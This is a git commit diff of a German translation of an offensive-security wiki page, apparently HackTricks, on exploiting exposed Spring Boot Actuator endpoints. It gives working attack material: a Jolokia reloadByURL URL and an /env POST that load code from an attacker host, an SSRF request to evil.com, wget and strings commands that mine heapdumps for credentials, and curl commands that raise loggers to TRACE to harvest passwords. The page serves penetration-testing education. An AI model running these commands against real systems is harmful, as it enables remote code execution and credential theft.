Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a

This commit is contained in:
Translator 2025-09-03 16:54:26 +00:00
parent 186cfd135a
commit bb3b17b0c9
2 changed files with 397 additions and 302 deletions

File diff suppressed because it is too large Load Diff

View File

@ -8,28 +8,28 @@
**Von** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Ausnutzen von Spring Boot Actuators
## Exploiting Spring Boot Actuators
**Überprüfen Sie den Originalbeitrag von** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Siehe den Originalbeitrag:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Wichtige Punkte:**
### **Kernaussagen:**
- Spring Boot Actuators registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind nur `/health` und `/info` standardmäßig nicht sensibel, aber Entwickler deaktivieren oft diese Sicherheit.
- Bestimmte Actuator-Endpunkte können sensible Daten offenlegen oder schädliche Aktionen ermöglichen:
- Spring Boot Actuators registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind standardmäßig nur `/health` und `/info` nicht-sensitiv, aber Entwickler deaktivieren diese Absicherung oft.
- Bestimmte Actuator-Endpunkte können sensitive Daten offenlegen oder schädliche Aktionen erlauben:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` und `/heapdump`.
- In Spring Boot 1.x werden Actuators unter der Root-URL registriert, während sie in 2.x unter dem Basis-Pfad `/actuator/` liegen.
### **Ausbeutungstechniken:**
### **Exploitation-Techniken:**
1. **Remote Code Execution über '/jolokia'**:
- Der `/jolokia` Actuator-Endpunkt exponiert die Jolokia-Bibliothek, die HTTP-Zugriff auf MBeans ermöglicht.
- Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL neu zu laden, was zu blindem XXE oder Remote Code Execution über gestaltete XML-Konfigurationen führen kann.
- Beispiel für eine Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Konfigurationsänderung über '/env'**:
1. **Remote Code Execution via '/jolokia'**:
- Der `/jolokia` Actuator-Endpunkt macht die Jolokia Library zugänglich, die HTTP-Zugriff auf MBeans ermöglicht.
- Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL nachzuladen, was zu blind XXE oder Remote Code Execution über manipulierte XML-Konfigurationen führen kann.
- Beispiel-Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- Wenn Spring Cloud-Bibliotheken vorhanden sind, ermöglicht der `/env` Endpunkt die Änderung von Umgebungsvariablen.
- Eigenschaften können manipuliert werden, um Schwachstellen auszunutzen, wie die XStream-Deserialisierungsanfälligkeit im Eureka serviceURL.
- Beispiel für eine Exploit-POST-Anfrage:
- Wenn Spring Cloud Libraries vorhanden sind, erlaubt der `/env` Endpunkt die Modifikation von Umgebungs-Properties.
- Properties können manipuliert werden, um Schwachstellen auszunutzen, wie z. B. die XStream-Deserialisierungs-Schwachstelle in der Eureka serviceURL.
- Beispiel POST-Request:
```
POST /env HTTP/1.1
@ -40,25 +40,101 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Weitere nützliche Einstellungen**:
- Eigenschaften wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, wie SQL-Injection oder Ändern von Datenbankverbindungszeichenfolgen.
3. **Andere nützliche Einstellungen**:
- Properties wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, z. B. für SQL injection oder zum Ändern von Datenbank-Verbindungsstrings.
### **Zusätzliche Informationen:**
- Eine umfassende Liste der Standard-Actuators finden Sie [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Der `/env` Endpunkt in Spring Boot 2.x verwendet das JSON-Format zur Modifikation von Eigenschaften, aber das allgemeine Konzept bleibt dasselbe.
- Eine umfassende Liste der Default-Actuators findet sich [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Der `/env` Endpunkt in Spring Boot 2.x verwendet JSON-Format für Property-Modifikationen, aber das grundlegende Konzept bleibt gleich.
### **Verwandte Themen:**
1. **Env + H2 RCE**:
- Details zur Ausnutzung der Kombination von `/env` Endpunkt und H2-Datenbank finden Sie [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
- Details zur Ausnutzung der Kombination des `/env` Endpunkts und der H2-Datenbank finden sich [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF auf Spring Boot durch falsche Pfadinterpretation**:
- Die Handhabung von Matrixparametern (`;`) in HTTP-Pfaden durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden.
- Beispiel für eine Exploit-Anfrage:
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Die Handhabung von Matrix-Parametern (`;`) in HTTP-Pathnames durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden.
- Beispiel-Exploit-Request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)
Wenn `/actuator/heapdump` exponiert ist, können Sie normalerweise einen vollständigen JVM-Heap-Snapshot herunterladen, der häufig live secrets enthält (DB creds, API keys, Basic-Auth, interne Service-URLs, Spring property maps, usw.).
- Herunterladen und schnelle Triage:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Tiefere Analyse mit VisualVM und OQL:
- Öffnen Sie den heapdump in VisualVM, inspizieren Sie Instanzen von `java.lang.String` oder führen Sie OQL aus, um nach secrets zu suchen:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- Automatisierte Extraktion mit JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Typische hochgradig verwertbare Funde:
- Spring `DataSourceProperties` / `HikariDataSource` Objekte, die `url`, `username`, `password` offenbaren.
- `OriginTrackedMapPropertySource`-Einträge, die `management.endpoints.web.exposure.include`, Service-Ports und eingebettete Basic-Auth in URLs (z. B. Eureka `defaultZone`) preisgeben.
- Plain-HTTP Request/Response-Fragmente inklusive `Authorization: Basic ...`, die im Speicher erfasst wurden.
Tipps:
- Verwenden Sie eine auf Spring fokussierte Wordlist, um Actuator-Endpunkte schnell zu entdecken (z. B. SecLists spring-boot.txt) und prüfen Sie immer, ob `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` und `/actuator/configprops` ebenfalls exponiert sind.
- Credentials aus heapdump funktionieren oft für angrenzende Services und manchmal für Systembenutzer (SSH), daher breit testen.
## Abusing Actuator loggers/logging to capture credentials
Wenn `management.endpoints.web.exposure.include` es erlaubt und `/actuator/loggers` exponiert ist, können Sie dynamisch die Log-Level auf DEBUG/TRACE für Packages erhöhen, die Authentifizierung und Request-Processing behandeln. In Kombination mit lesbaren Logs (über `/actuator/logfile` oder bekannte Log-Pfade) kann dies credentials offenlegen, die während Login-Flows übermittelt werden (z. B. Basic-Auth-Header oder Formularparameter).
- Auflisten und hochsetzen sensibler Logger:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Finden, wo Logs geschrieben werden, und ernten:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Triggern Sie Login-/Authentifizierungs-Traffic und parsen Sie das Log nach creds. In Microservice-Setups mit einem Gateway vor Auth kann das Aktivieren von TRACE für Gateway-/Security-Packages oft Header und Form-Bodies sichtbar machen. Manche Umgebungen erzeugen sogar periodisch synthetischen Login-Traffic, wodurch das Harvesting trivial wird, sobald das Logging verbose ist.
Hinweise:
- Setzen Sie Log-Level zurück, wenn Sie fertig sind: `POST /actuator/loggers/<logger>` mit `{ "configuredLevel": null }`.
- Wenn `/actuator/httpexchanges` exponiert ist, kann es ebenfalls kürzliche Request-Metadaten anzeigen, die sensitive Header enthalten können.
## References
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
{{#include ../../banners/hacktricks-training.md}}